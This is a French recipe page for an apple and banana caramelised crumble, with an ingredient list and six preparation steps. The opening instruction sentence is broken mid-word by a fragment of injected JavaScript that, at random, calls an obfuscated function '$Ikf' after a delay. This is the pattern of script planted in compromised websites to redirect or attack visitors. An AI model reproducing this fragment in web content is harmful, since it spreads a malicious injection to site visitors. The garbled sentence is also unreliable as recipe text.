Crumble aux pommes et aux bananes caramélisés
2017-12-29- Cuisine : Crumble
- Thématique : Végétarien
- Niveau : Difficile
Dans un saladier Mélangez la poudre d’amandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande, la farine, la cassonade et le beurre ramolli, pour obtenir un mélange grumeleux.
Ingrédients
- Pour 4 personnes
- 50 g de farine
- 50 g de poudre d'amande
- 50 g de cassonade
- 40 g de beurre ramolli
- 2 pommes
- 2 bananes
- 2 cuillères à soupe de sucre en poudre
- 2 cuillères à soupe d'eau froide
- 50 g de raisins secs
- Quelques noisettes de beurre salées
Préparation de la recette
Etape 1
Dans un saladier Mélangez la poudre d'amande, la farine, la cassonade et le beurre ramolli, pour obtenir un mélange grumeleux
Etape 2
Répartissez cette préparation sur la plaque du four. Recouvrez d'une feuille de papier d'aluminium. Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 20 minutes.
Etape 3
Sortez la pâte du four et laissez refroidir. Pelez, coupez en petits dés les pommes et les bananes. citronnez-les pour éviter l'oxydation. Réservez.
Etape 4
Dans une casserole avec 2 cuillères à soupe d'eau froide, et 2 cuillères à soupe de sucre en poudre. Portez à ébullition et faites caraméliser jusqu'à obtenir une couleur dorée.
Etape 5
Incorporez les dés de bananes et de pommes, laissez à nouveau caraméliser pendant quelques secondes, ajoutez les raisins secs tout en mélangeant.
Etape 6
Retirez du feu et laissez refroidir. Répartir les fruits dans des ramequins, recouvrez de crumble. Enfournez dans le four déjà chaud même thermostat pendant 15 minutes. Vérifiez la cuisson. Laissez refroidir et dégustez.
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